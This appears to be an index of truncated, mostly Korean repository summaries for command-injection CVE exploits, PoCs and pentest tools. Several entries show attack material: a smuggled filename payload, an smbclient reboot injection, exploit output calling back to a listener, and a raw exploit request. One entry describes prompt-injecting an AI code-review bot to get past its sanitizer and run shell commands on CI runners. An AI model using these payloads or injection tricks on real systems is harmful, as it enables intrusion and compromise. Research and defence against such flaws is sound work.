patch-CVE-2026-04321

패치: CVE-2026-04321 취약점 세부 정보 CVE : CVE-2026-04321 제품 : Zyxel 방화벽 설명 : OS 명령 주입 심각도 : 치명적 패치 상태: 배포됨 필드| 값 ---|--- 패치 날짜| 2026-01-28 상태| 배포됨 배포 대상| 프로덕션 검증자| SecOps 팀 참고 자료 NVD CISA KEV...

CVE-2016-10033

CVE2016-10033 익스플로잇 PoC 이 저장소는 취약한 버전의 WordPress에서 CVE2016-10033을 익스플로잇하는 데 필요한 파일을 포함하고 있습니다. 이 지침을 통해 Apache 서버를 실행 중인 사용자로 WordPress를 실행 중인 컨테이너에서 역방향 대화형 셸Pseudo-TTY 아님을 얻을 수 있습니다. 이 익스플로잇은 어떤 인증이나 플러그인도 필요하지 않습니다. 일반 WordPress 코드와 WordPress에서 이메일을 보내기 위한 Exim4 MTA대부분의 서버에 설치됨만 있으면 됩니다. 전체 권고...

CVE-2019-19919

CVE-2019-19919 Handlebars 부적절한 특수 요소 중화 – 다운스트림 구성 요소가 사용하는 출력에서의 인젝션 취약점 pip install requests packaging python handlebarsscanner.py pip install requests python handlebarsexploit.py 대상 URL 입력: Exploit 예상 출력 : 대상 URL 입력 예를 들어, http://example.com/render: http://example.com/render 실행할 OS 명령어 입력: ls ...

POC-CVE-2026-19681

CVE-2026-19681 — 파일 업로드 처리의 명령 삽입 인증 필요 상태: 확인됨 — 6.7.2-14.el9 랩 환경2026-08-20에서 확인됨. POST /rest/file/upload를 통해 스테이징된 파일 이름 p;sleep$IFS20;-EvvfJk컨텍스트 접두사에 메타문자가 포함됨를 업로드한 다음 POST /rest/auditFiletype=scapLinux, version=1.2을 호출했더니 정확히 20.1초 동안 지연된 후 오류 106"Error adding Tailoring file to SCAP zip...

CVE-2024-3400

CVE-2024-3400 CVE-2024-3400 Palo Alto OS 명령 삽입 벤더 설명 Palo Alto Networks PAN-OS 소프트웨어의 GlobalProtect 기능에서 특정 PAN-OS 버전 및 특정 기능 구성에 대한 명령 삽입 취약점으로 인해 인증되지 않은 공격자가 방화벽에서 루트 권한으로 임의 코드를 실행할 수 있습니다. 익스플로잇 감사합니다 watchtowr labs 🚀 경로 탐색 / 확인 HTTP 요청: POST /ssl-vpn/hipreport.esp HTTP/1.1 Host: 127.0.0.1...

cve-2023-1671

Сve-2023-1671 How does cve-2023-1671https://vulners.com/cve/CVE-2023-1671 work? /opt/ws/bin/ftsblistpack은 /opt/ws/bin/sblistpack을 호출하는 Perl 스크립트입니다. sblistpack 역시 Perl 스크립트입니다. 셸 명령 인자는 작은따옴표로 묶여 있습니다: $rc += system"$sblistpack '$uri' '$user' '$filetype' '$filein' '$fileout'"; 이것은 나중에 취약점으로 이어질 중...

dnsobserver

DNSObserver Go로 작성된 편리한 DNS 서비스로, 여러 유형의 블라인드 취약점 탐지를 돕습니다. 침투 테스터의 서버에서 대역 외 DNS 상호작용을 모니터링하고, 수신된 요청 세부 정보를 Slack을 통해 알림으로 전송합니다. DNSObserver는 블라인드 OS 명령어 삽입, 블라인드 SQLi, 블라인드 XXE 등 다양한 버그를 찾는 데 도움을 줄 수 있습니다. 자세한 개요와 설정 지침은 다음을 참조하세요: https://www.allysonomalley.com/2020/05/22/dnsobserver/ 설정 필요한...

CVE-2026-4480

익스플로잇 실행: python ./exploit.py -t 10.129.20.16 -l 10.10.14.172 -p 8487 Target: 10.129.20.16 Callback: 10.10.14.172:8487 Verify mode: False + Credentials initialized anonymous + Connected to spoolss interface + Opened printer: HP-Reception + Created DocumentInfo with payload: |sh + Generated payloa...

Hoverfly-1.11.3-RCE-CVE-2025-54123-Exploit

CVE-2025-54123 — Hoverfly 미들웨어 API 원격 코드 실행 Hoverfly ≤ 1.11.3에서 OS 명령 주입을 통한 인증된 RCE 취약점 개요 속성| 값 ---|--- CVE ID| CVE-2025-54123 CVSS 점수| 9.8 — 치명적 CVSS 벡터| CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE| CWE-78 OS 명령 주입, CWE-20 부적절한 입력 검증 제품| Hoverfly — 오픈소스 API 시뮬레이션 도구 영향 버전| 1.11.3 을 포함한 모든...

commix

English • Ελληνικά • Español • Français • فارسی • Bahasa Indonesia • Türkçe Commix short for command injection exploiter is an open source penetration testing tool, written by Anastasios Stasinopoulos @ancst, that automates the detection and exploitation of command and code injection...

commix

English • Ελληνικά • Español • Français • فارسی • Bahasa Indonesia • Türkçe Commix short for command injection exploiter is an open source penetration testing tool, written by Anastasios Stasinopoulos @ancst, that automates the detection and exploitation of command and code injection...

CVE-2021-46704

GenieACS의 OS 명령 주입 취약점 CVE-2021-46704 CVE-2021-46704 Nuclei 템플릿 참고 자료 : https://github.com/advisories/GHSA-2877-693q-pj33 https://nvd.nist.gov/vuln/detail/CVE-2021-46704 https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-46704...

CVE-2022-46169

Cacti remoteagent.php 원격 명령 실행 취약점 CVE-2022-46169 취약점 설명 Cacti는 서버 모니터링 및 관리 플랫폼입니다. 1.2.171.2.22 버전에 명령 주입 취약점이 존재하며, 공격자는 X-Forwarded-For 요청 헤더를 통해 서버 측 검증을 우회하고 임의의 명령을 실행할 수 있습니다. 취약점 영향 Cacti 1.2.17-1.2.22 네트워크 매핑 app="Cacti-监控系统" 취약점 재현...

pfBlockerNg-CVE-2022-40624

pfBlockerNg-CVE-2022-40624 배경 pfBlockerNG는 다음과 같은 기능을 갖춘 pfBlocker의 차세대 버전입니다: 1. IPv4/v6 목록 소스를 '거부, 허용 또는 일치' 형식으로 관리합니다. 2. MaxMind Inc.의 GeoIP 데이터베이스 GeoLite2 무료 버전. 3. 중복 제거, 억제 및 평판 향상. 4. 다양한 목록 형식에서 다운로드 기능. 5. Proofpoint ET IQRisk IP 평판 위협 소스에 대한 고급 통합. 6. Unbound DNS Resolver를 통한 도메인...

CVE-2026-1337-AI-Coding-Assistant-Prompt-Injection-to-Sandbox-Escape

CVE-2026-1337 – AI 코딩 어시스턴트 프롬프트 인젝션을 통한 RCE 📖 개요 AI 기반 코드 리뷰 봇의 프롬프트 인젝션 취약점으로 인해 공격자가 봇의 “fix” 제안을 조작하여 임의의 셸 명령을 주입할 수 있습니다. 샌티타이저는 단순한 블랙리스트를 사용하지만 인코딩 트릭을 통해 우회됩니다. ⚙️ 취약점 세부 정보 유형: 프롬프트 인젝션 → 명령 주입 영향: CI/CD 러너에서 원격 코드 실행RCE 근본 원인: AI 모델이 사용자가 제공한 Fix: 섹션을 무비판적으로 그대로 반영합니다. 블랙리스트가 위험한 명령을...

CVE-2022-36804

CVE-2022-36804 - Atlassian Bitbucket Server 및 Data Center 명령 삽입 취약점 ⚠️ 교육 및 승인된 보안 연구 목적으로만 사용하세요 원본 익스플로잇 저자 원본 PoC 작성자 Walnut Security Services Pvt. Ltd님께 깊은 감사를 드립니다. 설명 Atlassian Bitbucket Server 및 Data Center 7.0.0에서 7.6.17 미만, 7.7.0에서 7.17.10 미만, 7.18.0에서 7.21.4 미만, 8.0.0에서 8.0.3 미만, 8.1.0에서...

CVE-2021-22123

CVE-2021-22123 Fortinet FortiWeb 인증된 OS 명령 주입 Hit Counter FortiWeb 관리 인터페이스의 명령 주입 취약점으로 인해 인증된 원격 공격자가 SAML 서버 구성 페이지를 통해 시스템에서 임의의 명령을 실행할 수 있습니다. 최대 권한으로 명령을 실행하면 공격자가 서버를 완전히 제어할 수 있게 됩니다. 이는 CWE-78: OS 명령에 사용되는 특수 요소의 부적절한 중화에 해당하며 CVSSv3 기본 점수는 8.7입니다. 이 취약점은 CVE-2021-22123 번호로 Fortiguard L...

CVE-2020-24032

CVE-2020-24032 제안된 설명 XoruX LPAR2RRD 및 STOR2RRD 2.70 가상 어플라이언스의 tz.pl은 시간대에 셸 메타문자를 통해 cmd=set&tz=OS 명령 주입을 허용합니다. 취약점 유형 Other OS 명령 주입 제품 공급업체 XoruX s.r.o. 영향받는 제품 코드 베이스 LPAR2RRD 및 STOR2RRD 가상 어플라이언스 버전 - 2.70 공격 유형 원격 영향 코드 실행 true 공급업체가 취약점을 확인 또는 인정했습니까? true 참조...

smb_usermap

smbusermap CVE-2007-2447에 대한 간단한 익스플로잇으로, Samba 3.0.20에 존재합니다. 이 취약점은 이보다 더 적은 도구로도 익스플로잇할 수 있습니다. 예를 들어 smbclient를 사용할 수 있지만, 특수 문자가 많이 먹혀서 복잡한 명령어를 실행하기는 어렵습니다. 하지만 간단한 명령어이 경우 재부팅는 다음과 같이 전달할 수 있습니다: smbclient -L --user="/=\reboot" -N...

Cisco-CVE-2025-20281-illdeed

CVE-2025-20281 — Cisco ISE ERS API 미인증 RCE 익스플로잇 이 저장소는 CVE-2025-20281 에 대한 Python 3 개념 증명 익스플로잇입니다. 이는 Cisco Identity Services Engine ISE의 심각한 취약점으로, ERS API를 통해 루트 권한으로 미인증 원격 코드 실행RCE을 가능하게 합니다. 🩻 취약점 개요 Cisco ISE ERS /ers/sdk 엔드포인트는 사용자 생성 요청을 처리할 때 인증을 검증하지 않습니다. InternalUser 객체의 name 매개변수에 ...